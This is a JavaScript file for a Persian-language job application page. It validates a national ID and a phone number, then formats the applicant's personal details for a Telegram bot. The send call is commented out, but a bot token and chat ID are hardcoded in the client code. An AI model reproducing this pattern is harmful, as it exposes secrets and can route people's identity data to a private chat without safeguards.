// مدیریت تغییر صفحات
document.addEventListener('DOMContentLoaded', function() {
    // نمایش صفحه اسپلش به مدت 5 ثانیه
    setTimeout(() => {
        switchScreen('splash-screen', 'main-form');
        initializeForm();
    }, 5000);
});

function switchScreen(hideId, showId) {
    document.getElementById(hideId).classList.remove('active');
    document.getElementById(showId).classList.add('active');
}

function initializeForm() {
    populateDateSelects();
    setupFormValidation();
}

// پر کردن تاریخ‌ها
function populateDateSelects() {
    const daySelect = document.getElementById('birthDay');
    const monthSelect = document.getElementById('birthMonth');
    const yearSelect = document.getElementById('birthYear');
    
    // پر کردن روزها
    for (let i = 1; i <= 31; i++) {
        const option = document.createElement('option');
        option.value = i;
        option.textContent = i;
        daySelect.appendChild(option);
    }
    
    // پر کردن ماه‌ها
    const months = [
        'فروردین', 'اردیبهشت', 'خرداد', 'تیر', 'مرداد', 'شهریور',
        'مهر', 'آبان', 'آذر', 'دی', 'بهمن', 'اسفند'
    ];
    
    months.forEach((month, index) => {
        const option = document.createElement('option');
        option.value = index + 1;
        option.textContent = month;
        monthSelect.appendChild(option);
    });
    
    // پر کردن سال‌ها (1340 تا 1385)
    for (let year = 1340; year <= 1385; year++) {
        const option = document.createElement('option');
        option.value = year;
        option.textContent = year;
        yearSelect.appendChild(option);
    }
}

// اعتبارسنجی فرم
function setupFormValidation() {
    const form = document.getElementById('employmentForm');
    
    form.addEventListener('submit', function(e) {
        e.preventDefault();
        
        if (validateForm()) {
            const formData = collectFormData();
            submitForm(formData);
        }
    });
    
    // اعتبارسنجی کد ملی
    document.getElementById('nationalCode').addEventListener('input', function(e) {
        this.value = this.value.replace(/[^0-9]/g, '');
    });
    
    // اعتبارسنجی شماره تلفن
    document.getElementById('phone').addEventListener('input', function(e) {
        this.value = this.value.replace(/[^0-9]/g, '');
    });
}

function validateForm() {
    const nationalCode = document.getElementById('nationalCode').value;
    const phone = document.getElementById('phone').value;
    
    // اعتبارسنجی کد ملی
    if (nationalCode.length !== 10) {
        alert('کد ملی باید 10 رقم باشد');
        return false;
    }
    
    // اعتبارسنجی شماره تلفن
    if (!/^09[0-9]{9}$/.test(phone)) {
        alert('شماره تلفن باید با 09 شروع شده و 11 رقمی باشد');
        return false;
    }
    
    return true;
}

function collectFormData() {
    return {
        fullname: document.getElementById('fullname').value,
        national_code: document.getElementById('nationalCode').value,
        phone: document.getElementById('phone').value,
        birth_day: document.getElementById('birthDay').value,
        birth_month: document.getElementById('birthMonth').value,
        birth_year: document.getElementById('birthYear').value,
        education: document.getElementById('education').value,
        field: document.getElementById('field').value
    };
}

function submitForm(formData) {
    // نمایش صفحه تایید
    switchScreen('main-form', 'confirmation');
    
    // ارسال به تلگرام
    sendToTelegram(formData);
    
    // انتقال به صفحه بعدی بعد از 3 ثانیه
    setTimeout(() => {
        window.location.href = 'form2.html';
    }, 3000);
}

function sendToTelegram(data) {
    const message = `
📋 درخواست استخدام جدید

👤 نام و نام خانوادگی: ${data.fullname}
🆔 کد ملی: ${data.national_code}
📞 شماره تماس: ${data.phone}
🎂 تاریخ تولد: ${data.birth_year}/${data.birth_month}/${data.birth_day}
🎓 مدرک تحصیلی: ${data.education}
📚 رشته تحصیلی: ${data.field}
⏰ زمان ثبت: ${new Date().toLocaleString('fa-IR')}
    `;
    
    // اینجا باید اطلاعات ربات تلگرام خود را قرار دهید
    const botToken = '8265712507:AAFo2Z1Kt5w_lbw0AJAIpwtoom-Y0g0IfdU';
    const chatId = '-1002961490095';
    
    // در حالت واقعی، این کد فعال می‌شود
    /*
    fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            chat_id: chatId,
            text: message,
            parse_mode: 'HTML'
        })
    });
    */
    
    console.log('پیام تلگرام:', message);
}